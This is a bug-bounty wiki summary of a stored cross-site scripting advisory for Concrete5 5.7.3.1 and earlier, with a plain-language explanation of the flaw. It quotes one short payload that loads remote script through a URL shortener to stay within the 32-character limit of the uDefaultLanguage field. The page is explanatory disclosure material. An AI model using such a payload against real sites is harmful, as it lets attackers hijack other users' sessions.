Skip to content
XSS Write-up Beginner

Concrete5 <= 5.7.3.1 Multiple Stored Cross-Site Scripting Vulnerabilities

User input in the uEmail and uDefaultLanguage POST parameters during account registration was not properly sanitised before being used to generate HTML output. An unauthenticated attacker could permanently store script code in the Users database table, which might execute when an authenticated user browses the users page.

karmainsecurity.com

Published on karmainsecurity.com

NOTE: the “uDefaultLanguage” parameter cannot be longer than 32 characters, however this can still be exploited by e.g. using a URL shortener service to include arbitrary script code (such as <script src=//v.ht/xs></script> which is exactly 32 characters).

The author, on karmainsecurity.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Not written yet. The AI write-up for this write-up has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the application stored user-supplied registration fields without sanitising them before rendering them as HTML in the admin users page.

Impact

An unauthenticated attacker could permanently store arbitrary script code that might execute in an authenticated user's browser when they view the users page.

What the attacker needed

No authentication needed to register; victim views the users page

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this write-up has not been written yet. The Original tab links to the source.

When you sign up on a website, the details you type are saved and later shown to administrators. This report says the site saved those details without cleaning them, so someone could type in a small script instead of normal text. Later, when an admin viewed the user list, that script could run in the admin's browser.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.